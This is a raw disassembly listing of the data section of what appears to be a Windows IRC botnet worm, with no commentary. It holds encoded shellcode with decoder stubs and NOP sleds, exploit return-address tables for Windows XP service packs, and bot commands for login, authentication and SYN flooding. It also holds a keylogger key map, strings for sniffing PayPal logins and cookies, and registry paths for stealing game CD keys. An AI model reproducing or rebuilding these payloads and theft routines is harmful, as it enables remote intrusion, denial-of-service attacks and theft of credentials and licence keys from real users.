		dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
		dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h,	2 dup(0)
dword_440F08	dd 401150FFh, 0		; DATA XREF: sub_410A35+17o
dword_440F10	dd 142FFA1h, 0		; DATA XREF: sub_410A35+28o
dword_440F18	dd 401138FFh, 0		; DATA XREF: sub_410A35+3Eo
dword_440F20	dd 14308B9h, 0		; DATA XREF: sub_410A35+4Fo
dword_440F28	dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h
					; DATA XREF: sub_410A35+F0o
		dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h
		db 0B8h
byte_440F4D	db 3 dup(0)		; DATA XREF: sub_410A35+1Co
					; sub_410A35+43o
		dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh,	90E7FFE1h
		dd 3 dup(90909090h)
aRrrrrrrrrrrrrr	db '',0
					; DATA XREF: sub_410A35:loc_410A89o
a1_1_1_1_1_1	db '1.1.1.1.1.1',0
aIa		db 'ë€',0
		align 10h
byte_440FB0	db 0EBh			; DATA XREF: sub_410BF8+C8r
		db 2, 0EBh, 5
		dd 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh,	0EC8BFCE4h
		dd 0B966C933h, 3080020Ch, 0FAE24080h, 80BF6810h, 0CE0E8080h
		dd 7EF26C8Eh, 39039633h, 4752F835h, 151CE827h, 0EA21EE9Ah
		dd 475358BDh, 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h, 7C6D4B80h
		dd 758959BBh, 0F09A242Dh, 0AE2D2447h, 6C96569h,	0E4EDE3C9h
		dd 0E4D2DA80h, 80B021E7h, 0B8CC00Bh, 0B2D9CF0h,	720B88D8h
		dd 6F017E0Bh, 80808180h, 883149B3h, 80811068h, 7FD6D280h
		dd 0BDA60D7h, 87460358h, 853149B3h, 8081FC68h, 80036880h
		dd 1E68080h, 0D481106Ch, 808181E8h, 6CD77F80h, 40B36C0Bh
		dd 0D0D0D0D0h, 0D0C0D0C0h, 0B70D77Fh, 0C547E658h, 0E6808280h
		db 47h,	0C5h, 82h
word_44107F	dw 0D080h		; DATA XREF: sub_410BF8+58w
		db 47h,	0C5h, 84h
		dd 80808080h, 0D3D590EAh, 574D77Fh, 0C062F540h,	0D77FD3D0h
		dd 0D3D0D078h, 0B7CD77Fh, 0B340B358h, 0D7913149h, 2B737D0Bh
		dd 80C546DFh, 0BCDD09C4h, 9B8DD09h, 47E6C0DDh, 8181ACC5h
		dd 0D0C4C50Dh, 0D1D1D1D5h, 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h
		dd 0D77FD0C8h, 0B340B354h, 0D7913149h, 2B737D0Bh, 0C4CD0DDFh
		dd 0D0D0D5D1h, 80EA84EAh, 0D0D6D0D0h, 150D77Fh,	8084806Ch
		dd 8087E880h, 7FD48081h, 0D77FC8F5h, 0E8C0EA58h, 80809080h
		dd 80D080E8h, 7F80EA80h, 0D77FC4F5h, 1580B5Ch, 80818043h
		dd 0A41C0980h, 80808038h, 34A41C09h, 0B808080h,	8484A40Ch
		dd 0C1478080h, 1010107Bh, 7FC14610h, 2690110h, 0EA808081h
		dd 9080E880h, 0D0D18080h, 7FC4F57Fh, 7FD460D7h,	0D77FC8F5h
		dd 0C8F57F64h, 0B368D77Fh, 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h
		dd 0C50B98A4h, 85D40BBCh, 0B5583F8h, 0DA0B98CAh, 635D83A0h
		dd 0B40BC9B9h, 0B375830Bh, 40B37C7Fh, 0F444BA2Ch, 1010108Bh
		dd 8D4F4110h, 6E6B7883h, 94A4FCBBh, 0DA0B5DF5h,	0E65D83A4h
		dd 0BCB8C0Bh, 5D839CDAh, 830B840Bh, 10856B45h, 40B31010h
		dd 0DEDF550Bh, 8442DBDDh, 7FD3D180h, 7F1868B6h,	2D2B7F7Fh
		dd 7162D9DBh, 43h
dword_4411E0	dd 4Fh,	4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h
					; DATA XREF: .text:00410DA9o
		dd 41h,	0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh
		dd 41h,	0CEh, 41h, 0CFh
dword_441240	dd 41h,	0D0h		; DATA XREF: .text:00410DD5o
aFb		db 'fìÐ',7,0           ; DATA XREF: sub_410F37+97o
		align 10h
dword_441250	dd 129F74h, 0		; DATA XREF: sub_410F37+2FDo
dword_441258	dd 127D78h, 0		; DATA XREF: sub_410F37+35Do
dword_441260	dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 3D137381h, 836F5088h
					; DATA XREF: sub_410F37+C4o
		dd 0F4E2FCEBh, 22BBE2C1h, 90AF71D5h, 3DBE8C2h, 2ADBAC19h
		dd 6A2C0301h, 0E4BF8945h, 30DB9072h, 26BB891Dh,	6EDBBCB6h
		dd 0F690B9D3h, 1B900C91h, 629A493Ah, 9BBB4A3Ch,	4774DC06h
		dd 30DB6D48h, 9BB8919h,	0E41B84B6h, 84519462h, 0E6DBA43Eh
		dd 0E4CAC51h, 0B8BB9FEh, 0E460CBB6h, 1FDB847Dh,	2FDB2521h
		dd 0E138D635h, 3FBC8673h, 3C365EC2h, 5D63E05Bh,	5D23FF55h
		dd 0BFAFDC62h, 93BD4355h, 0B9AFD806h, 9B50162h,	6D5865BCh
		dd 9052E268h, 6689E0EDh, 900725C8h, 3C03DBEBh, 3C13DB6Eh
		dd 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh, 75F4E0A8h, 90074F4Dh
		dd 3E40E2EBh, 7807768h,	867E2599h, 3C86776Ah, 7807768h
		dd 26D6C1D8h, 3F86776Ah, 9005DC69h, 88381BEDh, 38294E44h
		dd 90055EC2h, 0B3AEEEDh, 233E05Bh, 3F3A6DB4h, 0E69CA164h
		dd 0E614E2DAh, 9C90B9DFh, 42127697h, 0FC7CCAC3h, 0C468F2B0h
		dd 1D382396h, 90463BC3h, 0B9AFCC48h, 3E02DF66h,	6E3AD96Ch
		dd 3E05D96Ch, 0C23858C2h, 3C9E8DE4h, 903A5EC2h,	0BFAFBFC2h
		dd 0ECACDFB6h, 0B9AFECF9h, 780776Fh, 305402CDh,	9086776Eh
		dd 6F5088EDh, 2	dup(0)
dword_4413C0	dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
					; DATA XREF: sub_410F37+AAo
		dd 401002D2h, 50403002h, 4104C031h, 0C628C228h,	6604E2C0h
		dd 3104EAC1h, 2F630C0h,	66032803h, 58431301h, 802C931h
		dd 61D5E0h, 433F0Ch
dword_441404	dd 77BD3143h		; DATA XREF: sub_410F37+82r
dword_441408	dd 7FCh			; DATA XREF: sub_410F37+7Cr
byte_44140C	db 1			; DATA XREF: sub_410F37+29Cr
					; sub_410F37+2C3r ...
		align 10h
		dd offset aWindowsXpSp01E ; "Windows XP	SP0+1 ENG"
		dd 77C03143h, 7FCh, 1, 433EE0h,	77BD1F89h, 7FCh, 1, 433ECCh
		dd 77BD1FA8h, 7FCh, 1, 433EB8h,	77BD1FD6h, 7FCh, 1, 433EA4h
		dd 77BD2195h, 7FCh, 1, 433E90h,	77BD21B3h, 7FCh, 1, 433E7Ch
		dd 77BD21E0h, 7FCh, 1, 433E68h,	77BD220Ch, 7FCh, 1, 433E54h
		dd 77BD2241h, 7FCh, 1, 433E40h,	77BD22D2h, 7FCh, 1, 433E2Ch
		dd 77BD28B2h, 7FCh, 1, 433E18h,	77BD29ABh, 7FCh, 1, 433E04h
		dd 77BD29E7h, 7FCh, 1, 433DF0h,	77BD29F7h, 7FCh, 1, 433DDCh
		dd 77BD2A03h, 7FCh, 1, 433DC8h,	77BD2D6Dh, 7FCh, 1, 433DB4h
		dd 77BD2DB3h, 7FCh, 1, 433DA0h,	77BD2EC2h, 7FCh, 1, 433D8Ch
		dd 77BD2EDDh, 7FCh, 1, 433D78h,	77BD30AFh, 7FCh, 1, 433D64h
		dd 77BD312Bh, 7FCh, 1, 433D50h,	77BD3160h, 7FCh, 1, 433D3Ch
		dd 77BD349Ah, 7FCh, 1, 433D28h,	77BD34E4h, 7FCh, 1, 433D0Ch
		dd 655B4F02h, 7E7h, 0
		dd offset aWindowsUkXp_23 ; "Windows uk	xp pro sp1 1"
		dd 77C01F89h, 7FCh, 1, 433CDCh,	77C01FA8h, 7FCh, 1, 433CC4h
		dd 77C01FD6h, 7FCh, 1, 433CACh,	77C02195h, 7FCh, 1, 433C94h
		dd 77C021B3h, 7FCh, 1, 433C7Ch,	77C021E0h, 7FCh, 1, 433C64h
		dd 77C0220Ch, 7FCh, 1, 433C4Ch,	77C02241h, 7FCh, 1, 433C34h
		dd 77C022D2h, 7FCh, 1, 433C18h,	77C028B2h, 7FCh, 1, 433BFCh
		dd 77C029ABh, 7FCh, 1, 433BE0h,	77C029E7h, 7FCh, 1, 433BC4h
		dd 77C029F7h, 7FCh, 1, 433BA8h,	77C02A03h, 7FCh, 1, 433B8Ch
		dd 77C02A39h, 7FCh, 1, 433B70h,	77C02D6Dh, 7FCh, 1, 433B54h
		dd 77C02DB3h, 7FCh, 1, 433B38h,	77C02EC2h, 7FCh, 1, 433B1Ch
		dd 77C02EDDh, 7FCh, 1, 433B00h,	77C030AFh, 7FCh, 1, 433AE4h
		dd 77C0312Bh, 7FCh, 1, 433AC8h,	77C03143h, 7FCh, 1, 433AACh
		dd 77C03160h, 7FCh, 1, 433A90h,	77C0349Ah, 7FCh, 1, 433A74h
		dd 77C034E4h, 7FCh, 1, 433A5Ch,	77B920FDh, 7FCh, 1, 433A44h
		dd 77B9211Ch, 7FCh, 1, 433A2Ch,	77B9214Ah, 7FCh, 1, 433A14h
		dd 77B9230Ch, 7FCh, 1, 4339FCh,	77B9232Ah, 7FCh, 1, 4339E4h
		dd 77B92357h, 7FCh, 1, 4339CCh,	77B92383h, 7FCh, 1, 4339B4h
		dd 77B923B8h, 7FCh, 1, 43399Ch,	77B92448h, 7FCh, 1, 433980h
		dd 77B92AAAh, 7FCh, 1, 433964h,	77B92BA7h, 7FCh, 1, 433948h
		dd 77B92BE3h, 7FCh, 1, 43392Ch,	77B92BF3h, 7FCh, 1, 433910h
		dd 77B92BFFh, 7FCh, 1, 4338F4h,	77B92F78h, 7FCh, 1, 4338D8h
		dd 77B92FBEh, 7FCh, 1, 4338BCh,	77B930EFh, 7FCh, 1, 4338A0h
		dd 77B9310Dh, 7FCh, 1, 433884h,	77B9330Ch, 7FCh, 1, 433868h
		dd 77B93388h, 7FCh, 1, 43384Ch,	77B9339Eh, 7FCh, 1, 433830h
		dd 77B933BAh, 7FCh, 1, 433814h,	77B9373Dh, 7FCh, 1, 4337F8h
		dd 77B9378Ah, 7FCh, 1, 4337E0h,	77B920FDh, 7FCh, 1, 4337C8h
		dd 77B9211Ch, 7FCh, 1, 4337B0h,	77B9214Ah, 7FCh, 1, 433798h
		dd 77B9230Ch, 7FCh, 1, 433780h,	77B9232Ah, 7FCh, 1, 433768h
		dd 77B92357h, 7FCh, 1, 433750h,	77B92383h, 7FCh, 1, 433738h
		dd 77B923B8h, 7FCh, 1, 433720h,	77B92448h, 7FCh, 1, 433704h
		dd 77B92AAAh, 7FCh, 1, 4336E8h,	77B92BA7h, 7FCh, 1, 4336CCh
		dd 77B92BE3h, 7FCh, 1, 4336B0h,	77B92BF3h, 7FCh, 1, 433694h
		dd 77B92BFFh, 7FCh, 1, 433678h,	77B92F78h, 7FCh, 1, 43365Ch
		dd 77B92FBEh, 7FCh, 1, 433640h,	77B930EFh, 7FCh, 1, 433624h
		dd 77B9310Dh, 7FCh, 1, 433608h,	77B9330Ch, 7FCh, 1, 4335ECh
		dd 77B93388h, 7FCh, 1, 4335D0h,	77B9339Eh, 7FCh, 1, 4335B4h
		dd 77B933BAh, 7FCh, 1, 433598h,	77B9373Dh, 7FCh, 1, 43357Ch
		dd 77B9378Ah, 7FCh, 1, 433570h,	41414141h, 7FCh, 1, 433558h
		dd 77E14C29h, 7FCh, 1, 433540h,	77E3CB4Ch, 7FCh, 1, 433528h
		dd 77E42C75h, 7FCh, 1, 433510h,	77E3C256h, 7FCh, 1, 4334F8h
		dd 77E2AFC5h, 7FCh, 1, 4334E0h,	77E2492Bh, 7FCh, 1, 4334C8h
		dd 77E4FF15h, 7FCh, 1, 4334B0h,	77E33F4Dh, 7FCh, 1, 8
dword_441AC4	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_414BFB:loc_414CDAo
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_4421F4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_414BFB+2A6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	3 dup(0)
off_442230	dd offset dword_4352D0	; DATA XREF: sub_414ECA+1F7r
		dd offset off_4352CC
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
; char a_login[]
a_login		db ':.login',0          ; DATA XREF: sub_414ECA+1A3o
		dd 3 dup(0)
dword_442254	dd 0			; DATA XREF: sub_414ECA+1F0r
aLogin_2	db ':,login',0
		dd 4 dup(0)
aLogin_3	db ':!login',0
		dd 4 dup(0)
a@login		db ':@login',0
		dd 4 dup(0)
aLogin_4	db ':$login',0
		dd 4 dup(0)
aLogin_5	db ':%login',0
		dd 4 dup(0)
aLogin_6	db ':^login',0
		dd 4 dup(0)
aLogin_7	db ':&login',0
		dd 4 dup(0)
aLogin_8	db ':*login',0
		dd 4 dup(0)
aLogin_9	db ':-login',0
		dd 4 dup(0)
aLogin_10	db ':+login',0
		dd 4 dup(0)
aLogin_11	db ':/login',0
		dd 4 dup(0)
aLogin_12	db ':\login',0
		dd 4 dup(0)
aLogin_13	db ':=login',0
		dd 4 dup(0)
a?login		db ':?login',0
		dd 4 dup(0)
aLogin_14	db ':',27h,'login',0
		dd 4 dup(0)
aLogin_15	db ':`login',0
		dd 4 dup(0)
aLogin_16	db ':~login',0
		dd 4 dup(0)
aLogin_17	db ': login',0
		dd 4 dup(0)
a_auth		db ':.auth',0
		align 10h
		dd 4 dup(0)
aAuth		db ':,auth',0
		align 4
		dd 4 dup(0)
aAuth_0		db ':!auth',0
		align 10h
		dd 4 dup(0)
a@auth		db ':@auth',0
		align 4
		dd 4 dup(0)
aAuth_1		db ':$auth',0
		align 10h
		dd 4 dup(0)
aAuth_2		db ':%auth',0
		align 4
		dd 4 dup(0)
aAuth_3		db ':^auth',0
		align 10h
		dd 4 dup(0)
aAuth_4		db ':&auth',0
		align 4
		dd 4 dup(0)
aAuth_5		db ':*auth',0
		align 10h
		dd 4 dup(0)
aAuth_6		db ':-auth',0
		align 4
		dd 4 dup(0)
aAuth_7		db ':+auth',0
		align 10h
		dd 4 dup(0)
aAuth_8		db ':/auth',0
		align 4
		dd 4 dup(0)
aAuth_9		db ':\auth',0
		align 10h
		dd 4 dup(0)
aAuth_10	db ':=auth',0
		align 4
		dd 4 dup(0)
a?auth		db ':?auth',0
		align 10h
		dd 4 dup(0)
aAuth_11	db ':',27h,'auth',0
		align 4
		dd 4 dup(0)
aAuth_12	db ':`auth',0
		align 10h
		dd 4 dup(0)
aAuth_13	db ':~auth',0
		align 4
		dd 4 dup(0)
aAuth_14	db ': auth',0
		align 10h
		dd 4 dup(0)
a_id		db ':.id',0
		align 4
		dd 4 dup(0)
aId_0		db ':,id',0
		align 10h
		dd 4 dup(0)
aId_1		db ':!id',0
		align 4
		dd 4 dup(0)
a@id		db ':@id',0
		align 10h
		dd 4 dup(0)
aId_2		db ':$id',0
		align 4
		dd 4 dup(0)
aId_3		db ':%id',0
		align 10h
		dd 4 dup(0)
aId_4		db ':^id',0
		align 4
		dd 4 dup(0)
aId_5		db ':&id',0
		align 10h
		dd 4 dup(0)
aId_6		db ':*id',0
		align 4
		dd 4 dup(0)
aId_7		db ':-id',0
		align 10h
		dd 4 dup(0)
aId_8		db ':+id',0
		align 4
		dd 4 dup(0)
aId_9		db ':/id',0
		align 10h
		dd 4 dup(0)
aId_10		db ':\id',0
		align 4
		dd 4 dup(0)
aId_11		db ':=id',0
		align 10h
		dd 4 dup(0)
a?id		db ':?id',0
		align 4
		dd 4 dup(0)
aId_12		db ':',27h,'id',0
		align 10h
		dd 4 dup(0)
aId_13		db ':`id',0
		align 4
		dd 4 dup(0)
aId_14		db ':~id',0
		align 10h
		dd 4 dup(0)
aId_15		db ': id',0
		align 4
		dd 4 dup(0)
a_hashin_0	db ':.hashin',0
		align 10h
aHashin_0	db ':!hashin',0
		align 4
		dd 3 dup(0)
aHashin_1	db ':$hashin',0
		align 10h
aHashin_2	db ':%hashin',0
		align 4
		dd 3 dup(0)
a_secure	db ':.secure',0
		align 10h
aSecure_1	db ':!secure',0
		align 4
		dd 3 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
a_syn		db ':.syn',0
		align 10h
		dd 4 dup(0)
aSyn_0		db ':!syn',0
		align 4
		dd 4 dup(0)
aSyn_1		db ':$syn',0
		align 10h
		dd 4 dup(0)
aSyn_2		db ':%syn',0
		align 4
		dd 4 dup(0)
aCdkey_0	db ' CDKey ',0
		dd 4 dup(0)
aJoin_1		db 'JOIN #',0
		align 4
		dd 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
		dd 80000001h
off_442A9C	dd offset aSoftwareValveC ; DATA XREF: sub_4185EA+Cr
					; sub_4185EA+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_442AA8	dd 2 dup(0)		; DATA XREF: sub_4185EA+26o
		dd 80000001h, 436B20h, 436B14h,	436B04h, 2 dup(0)
		dd 80000001h, 436AE4h, 436AE0h,	436ACCh, 2 dup(0)
		dd 80000001h, 436AA8h, 436AE0h,	436A9Ch, 2 dup(0)
		dd 80000001h, 436A78h, 436A70h,	436A5Ch, 2 dup(0)
		dd 80000001h, 436A48h, 436A38h,	436A1Ch, 2 dup(0)
		dd 80000001h, 4369D8h, 436B60h,	4369C4h, 2 dup(0)
		dd 80000002h, 436998h, 43698Ch,	43696Ch, 2 dup(0)
		dd 80000002h, 436938h, 436B60h,	436920h, 2 dup(0)
		dd 80000002h, 4368ECh, 436B60h,	4368D4h, 2 dup(0)
		dd 80000002h, 4368BCh, 436B60h,	4368A4h, 2 dup(0)
		dd 80000002h, 436868h, 42B633h,	436858h, 2 dup(0)
		dd 80000002h, 436820h, 42B633h,	43680Ch, 2 dup(0)
		dd 80000002h, 4367C0h, 42B633h,	4367A0h, 2 dup(0)
		dd 80000002h, 436750h, 42B633h,	436720h, 2 dup(0)
		dd 80000002h, 4366E4h, 42B633h,	4366D0h, 2 dup(0)
		dd 80000002h, 436698h, 42B633h,	436688h, 2 dup(0)
		dd 80000002h, 436638h, 42B633h,	436608h, 2 dup(0)
		dd 80000002h, 4365C8h, 42B633h,	4365A8h, 2 dup(0)
		dd 80000002h, 436578h, 42B633h,	436558h, 2 dup(0)
		dd 80000002h, 43651Ch, 42B633h,	436508h, 2 dup(0)
		dd 80000002h, 4364C0h, 42B633h,	43649Ch, 2 dup(0)
		dd 80000002h, 436448h, 42B633h,	436418h, 2 dup(0)
		dd 80000002h, 4363C8h, 42B633h,	43639Ch, 2 dup(0)
		dd 80000002h, 43635Ch, 436354h,	436334h, 2 dup(0)
		dd 80000002h, 4362F0h, 42B633h,	4362D4h, 2 dup(0)
		dd 80000002h, 436288h, 42B633h,	436264h, 2 dup(0)
		dd 80000002h, 436230h, 42B633h,	436224h, 2 dup(0)
		dd 80000002h, 4361F0h, 42B633h,	4361E4h, 2 dup(0)
		dd 80000002h, 4361B0h, 42B633h,	4361A4h, 2 dup(0)
		dd 80000002h, 436170h, 42B633h,	436164h, 2 dup(0)
		dd 80000002h, 436128h, 42B633h,	436114h, 2 dup(0)
		dd 80000002h, 4360D8h, 42B633h,	4360C4h, 2 dup(0)
		dd 80000002h, 436094h, 436B60h,	436078h, 2 dup(0)
		dd 80000002h, 436058h, 436050h,	43602Ch, 2 dup(0)
		dd 80000002h, 436010h, 436050h,	435FF0h, 2 dup(0)
		dd 80000002h, 435FD0h, 436050h,	435FACh, 2 dup(0)
		dd 80000002h, 435F94h, 436050h,	435F90h, 2 dup(0)
		dd 80000002h, 435F74h, 435F64h,	435F5Ch, 2 dup(0)
		dd 80000002h, 435F28h, 42F654h,	435F10h, 2 dup(0)
		dd 80000002h, 435ED4h, 435EC8h,	435EA0h, 435E90h, 435E7Ch
		dd 80000002h, 435E58h, 435E4Ch,	435E38h, 435E28h, 435E20h
		dd 80000002h, 435E58h, 435E4Ch,	435DF4h, 435E28h, 435DECh
		dd 80000002h, 435E58h, 435E4Ch,	435DBCh, 435E28h, 435DB4h
		dd 6 dup(0)
; char *off_442ED0
off_442ED0	dd offset aQ		; DATA XREF: sub_41A293+5Cr
					; "q"
		dd offset aW_0		; "w"
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset aY_0		; "y"
		dd offset aU		; "u"
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_6		; "s"
		dd offset aD_0		; "d"
		dd offset aF_1		; "f"
		dd offset aG_0		; "g"
		dd offset asc_437A98	; "h"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42FB98	; "l"
		dd offset aZ_0		; "z"
		dd offset asc_437A90	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset aB_0		; "b"
		dd offset aN		; "n"
		dd offset aM_0		; "m"
		dd offset aQ_0		; "Q"
		dd offset aW		; "W"
		dd offset aE_0		; "E"
		dd offset aR_0		; "R"
		dd offset aT_0		; "T"
		dd offset aY		; "Y"
		dd offset aU_0		; "U"
		dd offset aI_0		; "I"
		dd offset aO_0		; "O"
		dd offset aP_0		; "P"
		dd offset aA_0		; "A"
		dd offset aS_10		; "S"
		dd offset aD_2		; "D"
		dd offset aF_0		; "F"
		dd offset aG		; "G"
		dd offset asc_437A54	; "H"
		dd offset aJ_0		; "J"
		dd offset aK_0		; "K"
		dd offset asc_437A48	; "L"
		dd offset aZ		; "Z"
		dd offset asc_437A40	; "X"
		dd offset aC_3		; "C"
		dd offset aV_0		; "V"
		dd offset aB		; "B"
		dd offset aN_0		; "N"
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
